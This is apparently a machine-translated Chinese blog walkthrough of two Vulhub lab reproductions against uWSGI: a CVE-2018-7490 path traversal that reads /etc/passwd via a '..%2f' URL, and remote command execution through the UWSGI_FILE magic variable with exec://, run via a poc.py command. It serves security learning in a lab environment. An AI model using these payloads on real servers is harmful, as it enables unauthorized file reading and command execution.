当前位置:网站首页>Vulhub vulnerability recurrence 72_ uWSGI
Vulhub vulnerability recurrence 72_ uWSGI
2022-07-06 05:19:00 【Revenge_ scan】
One 、 CVE-2018-7490_ uWSGI PHP Directory traversal vulnerability
Preface
uWSGI Is a Web Application server , It has achieved WSGI、uwsgi and http Such agreement , And support to run various languages through plug-ins .
Vulnerability Details
uWSGI 2.0.17 Previous PHP plug-in unit , There is no right way to deal with `DOCUMENT_ROOT` testing , So that users can pass `..%2f` To cross directories , Read or run `DOCUMENT_ROOT` Files outside the directory .
Vulnerability environment
shooting range :192.168.4.10_Ubuntu
Run flawed uWSGI The server :
#docker-compose up -d
After completion of operation , visit `http://your-ip:8080/` You can see phpinfo Information , explain uwsgi-php The server has run successfully .

Loophole recurrence
visit `http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`, Successfully read file :

Two 、 uWSGI Unauthorized access vulnerability
Preface
uWSGI Is a Web Application server , It has achieved WSGI、uwsgi and http Such agreement , And support to run various languages through plug-ins , Usually used to run Python WEB application .uwsgi In addition to the name of the application container , It and Fastcgi Something like that , It's also the front end server A communication standard with the back-end application container . at present nginx,apache Also support uwsgi The protocol forwards requests by proxy .
Vulnerability Details
uWSGI Support through magic variables (Magic Variables) Dynamically configure the backend Web application . If its port is exposed , An attacker can construct uwsgi Data packets , And specify magic variables `UWSGI_FILE`, Application `exec://` The protocol executes arbitrary commands .
Reference link :
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://xz.aliyun.com/t/3512
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html
Vulnerability environment
Execute the following command to start nginx+uwsgi Environmental Science :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080` You can view one Web application , Its uwsgi Exposure to the 8000 port .
Loophole recurrence
Use [poc.py](poc.py), Carry out orders `python poc.py -u your-ip:8000 -c "touch /tmp/success"`:

perform `docker-compose exec web bash` Into the container , so `/tmp/success` Has successfully executed :

边栏推荐
- Unity gets the width and height of Sprite
- MySQL if and ifnull use
- [classic example] binary tree recursive structure classic topic collection @ binary tree
- Vulhub vulnerability recurrence 71_ Unomi
- Huawei od computer test question 2
- [lgr-109] Luogu may race II & windy round 6
- Figure database ongdb release v-1.0.3
- JDBC calls the stored procedure with call and reports an error
- 驱动开发——HelloWDM驱动
- Nacos - TC Construction of High available seata (02)
猜你喜欢

Cve-2019-11043 (PHP Remote Code Execution Vulnerability)

Simple understanding of interpreters and compilers

Easy to understand I2C protocol

Vulhub vulnerability recurrence 69_ Tiki Wiki

初识CDN

What are the advantages of the industry private network over the public network? What specific requirements can be met?

Principle and performance analysis of lepton lossless compression

Postman assertion

F12 solve the problem that web pages cannot be copied

GAMES202-WebGL中shader的編譯和連接(了解向)
随机推荐
从0到1建设智能灰度数据体系:以vivo游戏中心为例
idea一键导包
Configuration file converted from Excel to Lua
UCF (2022 summer team competition I)
Mysql高级篇学习总结9:创建索引、删除索引、降序索引、隐藏索引
Acwing week 58
Can the feelings of Xi'an version of "Coca Cola" and Bingfeng beverage rush for IPO continue?
[untitled]
Principle and performance analysis of lepton lossless compression
Questions d'examen écrit classiques du pointeur
Huawei od computer test question 2
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Fiddler installed the certificate, or prompted that the certificate is invalid
Hometown 20 years later (primary school exercises)
Lepton 无损压缩原理及性能分析
Qt TCP 分包粘包的解决方法
浅谈镜头滤镜的类型及作用
Biscuits (examination version)
Force buckle 1189 Maximum number of "balloons"